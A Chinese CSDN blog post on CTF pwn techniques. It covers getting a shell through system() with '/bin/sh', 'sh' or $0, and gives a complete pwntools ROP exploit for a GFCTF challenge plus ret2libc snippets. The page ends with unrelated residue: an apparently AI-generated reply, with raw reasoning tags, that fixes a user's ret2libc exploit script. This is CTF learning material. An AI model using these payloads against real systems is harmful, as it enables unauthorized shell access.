【PWN · 总结】system返回shell(‘/bin/sh‘、‘sh‘、$(0))

本文详细介绍了在pwn题目中通过system调用获取shell的三种常见方式:/bin/sh,sh以及$0。作者列举了不同工具如strings,IDA,pwntools和ROPgadget在寻找这些字符串时的应用,并提供了exploit代码示例,强调了在不同场景下选择合适参数的重要性。此外,还提到了在找不到/bin/sh时,直接输入/bin/sh作为系统调用参数的策略。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

pwn题中要通过system/excute等返回shell,进而cat flag。今天遇到一题,参数$(0)也可返回,有必要记录一下。

目录

前言

一、'/bin/sh'

1.strings

2.IDA 

3.pwntools 

4.ROPgadget

5.libc中寻找

二、'sh'

三、$(0) 

exp

IDA查看机器码 

四、输入"/bin/sh"

总结


前言

就system的参数而言,'/bin/sh'、'sh'、$(0),这三者似乎都可以返回shell


一、'/bin/sh'

这个无需多说,然而查找方式可以总结一下

1.strings

linux的指令~

strings filename | grep /bin/sh

2.IDA 

shift+F12即可获取所有的字符串即位置

当然,我这个截图里面没有'/bin/sh'

3.pwntools 

pwntools里面的ELF对象,除了能够查看plt和got表信息(地址)、symbols查看标识位置,还可以通过search来找字符串

from pwn import *
p = process("filename")
bin_sh_addr = next(p.search("/bin/sh"))
#bin_sh_addr = p.search("/bin/sh").next()
#这个next的使用,据我印象,好像是因为python2到python3的缘故

4.ROPgadget

ROPgadget --binary filename --strings '/bin/sh'

5.libc中寻找

from LibcSearcher import *
#=====================================================之所以称为ret2libc:=======================================================
libc=LibcSearcher('puts',puts_real_addr)         #LibcSearcher,通过函数名和函数真实地址来找到对应的libc(之后会做选择,选择正确的那个即可) 
libc_addr=puts_real_addr-libc.dump("puts")       #libc的真实的基址=puts的真实地址-puts相对于libc基址的偏移量
bin_sh_addr=libc_addr+libc.dump("str_bin_sh")    #'/bin/sh'的真实地址=libc基址的真实地址+'/bin/sh'相对于libc基址的偏移量
system_real_addr=libc_addr+libc.dump("system")   #system函数的真实地址=libc基址的真实地址+system函数相对于libc基址的偏移量
#===============================================================================================================================

当然,如果给了本地文件,pwntools的ELF也可以类似于方法3找到字符串 


二、'sh'

这个是环境变量配置,做题的时候遇到过,用于替换‘/bin/sh',可以尝试一下


三、$(0) 

这是当前遇到的一道题目,[GFCTF 2021]where_is_shell

利用system($0)获得shell权限,$0在机器码中为 \x24\x30

题目给出了tips函数,这一串东西,是什么意思呢?地址也没有呀~

查看机器码

发现了24 30机器码,所以实际上我们可以把这里的地址作为参数。

exp

from pwn import *
from LibcSearcher import *

context(os='linux',arch='amd64',log_level="debug")
io=remote("node4.anna.nssctf.cn",28559)

elf=ELF("./shell")

system_plt=elf.symbols['system']
#system_plt=0x400430
'''
if system_plt!=elf.symbols['system']:
    print(system_plt,"  ",elf.symbols["system"])
'''
#这里的bin_sh实际上是\x24\x30开始的地址
bin_sh=0x400541
rdi=0x4005e3
ret=0x400416

payload=b'a'*(0x10+8)
payload+=p64(ret)
payload+=p64(rdi)+p64(bin_sh)
payload+=p64(system_plt)

io.sendlineafter(b'it?\n',payload)
io.interactive()

IDA查看机器码 

opcode bytes设置一下,保存即可 


四、输入"/bin/sh"

遇到找不到/bin/sh的问题,在不去libc找的情况下,观察程序输入输出关系,可以自己把"/bin/sh"输入,下面是典型的一题

【PWN · ret2text | ‘/bin/sh‘写在bss段】[HNCTF 2022 Week1]ezr0p32_Mr_Fmnwon的博客-CSDN博客

第一个read读入"/bin/sh"到.bss段

第二个栈溢出控制执行system("/bin/sh"):其中system通过plt等,参数为.bss上存储"/bin/sh"的地址 


总结

对于system参数的选取,有必要总结一下。优化大概率事件嘛。以后遇到也会持续更新啦

===================2023/6/10更新 第四部分输入"/bin/sh" ==================

<think>嗯,用户想让我分析他们的Python漏洞利用脚本,并帮助他们部署程序和攻击脚本。首先,我需要仔细看看用户提供的输出和代码。 用户运行了他们的Python脚本,得到了一些输出,包括程序的保护机制、libc的地址信息,还有进程启动的信息。看起来他们是在尝试利用一个缓冲区溢出漏洞来执行system("/bin/sh"),从而获得shell。 首先,看看他们的代码。他们使用了pwntools,设置了context.binary,获取了elf和libc的实例。然后定义了偏移量为120,这可能是在计算覆盖返回地址之前需要填充的字节数。接下来,他们获取了system和/bin/sh的地址,并构造了payload:填充120个'A',然后覆盖返回地址为system_addr,接着是返回地址后的一个占位符0xdeadbeef,再然后是binsh_addr作为参数。 不过,用户的输出显示system地址是0x528f0,/bin/sh0x1a7e43。但问题可能出在调用约定上。因为x86_64架构下,函数调用时参数是通过寄存器传递的,而不是栈。比如,当调用system函数时,第一个参数应该放在rdi寄存器中,而不是在返回地址之后。所以用户现在的payload构造方式可能不正确,他们应该使用ROP链来设置rdi寄存器的值为binsh_addr,然后再调用system。 另外,检查程序的安全措施,NX启用,所以栈不可执行,但用户没有使用栈上的shellcode,而是调用libc的函数,这没问题。不过程序没有PIE,所以代码段的地址固定,这有利于构造ROP链。但libc可能有ASLR,所以需要泄漏libc的基地址,但用户这里似乎直接使用了libc中的符号,可能假设libc的地址已经被正确获取。但可能他们的脚本中没有正确处理动态加载的libc地址,比如在获取libc地址时是否需要先泄漏某个函数的地址,再计算基地址? 另外,用户代码中libc = elf.libc,这可能依赖于pwntools的自动查找,是否正确?如果程序使用的libc版本与本地系统不同,那么获取的地址可能不准确,导致攻击失败。用户输出的libc路径是/usr/lib/x86_64-linux-gnu/libc.so.6,可能他们是在本地运行,但实际部署时可能需要目标系统的libc版本。 再看构造的payload,覆盖返回地址为system_addr后,后面跟着的0xdeadbeef和binsh_addr,这在x86_64下不正确。正确的做法是构造ROP链,将rdi设置为binsh_addr,然后跳转到system。所以payload的结构应该是:填充偏移 + pop rdi; ret的gadget地址 + binsh_addr + system_addr。这样当返回时,执行pop rdi将binsh_addr放入rdi,然后ret到system_addr,从而正确调用system("/bin/sh")。 所以用户的代码中的payload构造错误,应该使用ROP链来正确传递参数。他们需要找到pop rdi; ret的gadget地址,并将其加入到payload中。否则,当前的payload将binsh_addr放在栈上的返回地址之后,而system函数不会从栈中读取参数,导致参数传递错误,攻击失败。 另外,检查用户输出的地址是否正确。比如,system的地址是否正确计算?在输出中,system地址是0x528f0,而libc的基地址可能没有被正确计算。因为通常libc的基地址加上符号的偏移量才是实际地址。例如,如果libc的基地址是0x00007ffff7dc0000,那么system的地址应该是基地址加上符号偏移。用户可能需要先泄漏libc的基地址,例如通过溢出泄漏某个函数的got表地址,然后计算基地址,再得到system和/bin/sh的地址。 但用户的代码中直接使用了libc.symbols['system'],这假设libc的基地址已经被正确获取,而可能没有考虑ASLR。如果程序在运行时有ASLR,那么每次运行的libc基地址都会变化,所以需要动态泄漏。但根据用户的输出,他们似乎已经获得了正确的system和/bin/sh地址,这可能是因为他们是在本地运行,并且libc的基地址已经被正确获取。但需要确认是否如此。 例如,如果程序在运行时加载的libc确实是用户指定的路径下的libc,那么pwntools的elf.libc可能正确获取了基地址。但可能用户没有正确处理动态地址,例如在远程攻击时需要先泄漏某个地址,然后计算基地址,再得到system和/bin/sh的地址。 回到当前的问题,用户的攻击脚本可能失败的原因是payload构造错误,没有正确传递参数给system函数。因此,修改payload的结构,加入pop rdi的gadget,然后设置参数,再调用system。 总结问题,用户需要做的是: 1. 找到pop rdi; ret的gadget地址,可以通过ROPgadget工具或者在pwntools中使用ROP类来查找。 2. 修改payload的结构为:填充 + pop_rdi地址 + binsh_addr + system地址。 3. 确保libc的基地址正确,可能需要泄漏某个函数的地址,如puts的got表项,再计算基地址。 因此,用户的当前脚本需要调整payload的构造方式,正确传递参数。此外,可能需要处理栈对齐的问题,但x86_64下可能不需要。另外,检查是否在调用system前栈对齐到16字节,否则可能出现崩溃,此时可能需要添加额外的ret指令来调整栈指针。 可能的修改后的payload构造: payload = b"A" * offset payload += p64(pop_rdi) # pop rdi; ret gadget的地址 payload += p64(binsh_addr) # rdi = binsh_addr payload += p64(system_addr) # 调用system 这样,当函数返回时,执行pop rdi将binsh_addr放入rdi,然后ret到system_addr,从而正确调用system("/bin/sh")。 另外,用户需要确认偏移量是否正确。他们提到offset=120,这可能是正确的,但需要验证。可以通过调试确定覆盖返回地址所需的填充长度。例如,在gdb中运行程序,输入120个字符后,观察是否覆盖到返回地址的位置,可能需要调整offset的值。 最后,用户可能需要处理进程的交互,例如在发送payload后正确接收输出,或者在调用system后维持交互式会话。此外,检查是否启用了交互模式,确保在攻击成功后能够获得shell。</think>根据你提供的信息和代码,这是一个典型的基于`ret2libc`的栈溢出攻击案例。下面从漏洞分析、攻击脚本修正、执行结果三方面进行说明: --- ### 一、漏洞分析 1. **程序保护机制**: - `NX enabled`:栈不可执行,需通过ROP绕过 - `No PIE`:代码段地址固定,便于计算偏移 - `Partial RELRO`:允许覆盖GOT表(但本次未使用) 2. **漏洞点**: - 输入存在缓冲区溢出,覆盖返回地址实现控制流劫持 --- ### 二、攻击脚本修正 当前脚本存在**参数传递错误**(x86_64使用寄存器传参)。修正步骤如下: #### 步骤1:寻找`pop rdi`的gadget ```python # 在程序中搜索gadget rop = ROP(elf) pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0] ``` #### 步骤2:修正Payload结构 ```python payload = flat({ offset: [ pop_rdi, # 将参数存入rdi binsh_addr, # 参数:/bin/sh地址 system_addr # 调用system() ] }) ``` #### 完整修正代码: ```python from pwn import * # 设置程序路径 context.binary = "/home/kali/train" elf = context.binary libc = elf.libc # 自动匹配libc版本 # 计算偏移量(需通过调试确认) offset = 120 # 启动进程 io = process(elf.path) # 获取关键地址(需动态泄漏时需先溢出打印) system_addr = libc.symbols['system'] binsh_addr = next(libc.search(b'/bin/sh')) # 搜索gadget rop = ROP(elf) pop_rdi = rop.find_gadget(['pop rdi', 'ret'])[0] # 构造payload payload = flat({ offset: [ pop_rdi, # pop rdi; ret binsh_addr, # arg1 -> rdi system_addr # call system() ] }) # 发送攻击载荷 io.sendlineafter(b">", payload) # 获取交互式shell io.interactive() ``` --- ### 三、执行结果分析 #### 预期输出: ```python [+] Starting local process '/home/kali/train': pid 12345 [*] Switching to interactive mode $ whoami kali $ ``` #### 关键验证点: 1. **地址正确性**: - 确保`system`和`/bin/sh`地址与libc版本匹配 - 使用`ldd`验证程序使用的实际libc路径 2. **栈对齐**: - 若出现`movaps`报错,在`pop rdi`前加`ret`调整栈对齐 --- ### 四、补充说明 1. **动态泄漏场景**: - 若远程存在ASLR,需先泄漏`libc`基地址 - 典型流程:覆盖返回到`puts@plt`打印`puts@got`,计算基地址 2. **偏移量验证**: - 使用`cyclic 200`生成测试字符串 - 在崩溃时通过`$rsp`值计算精确偏移 修正后的脚本应能成功获取shell。如果遇到问题,建议用`gdb`附加进程进行动态调试。
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值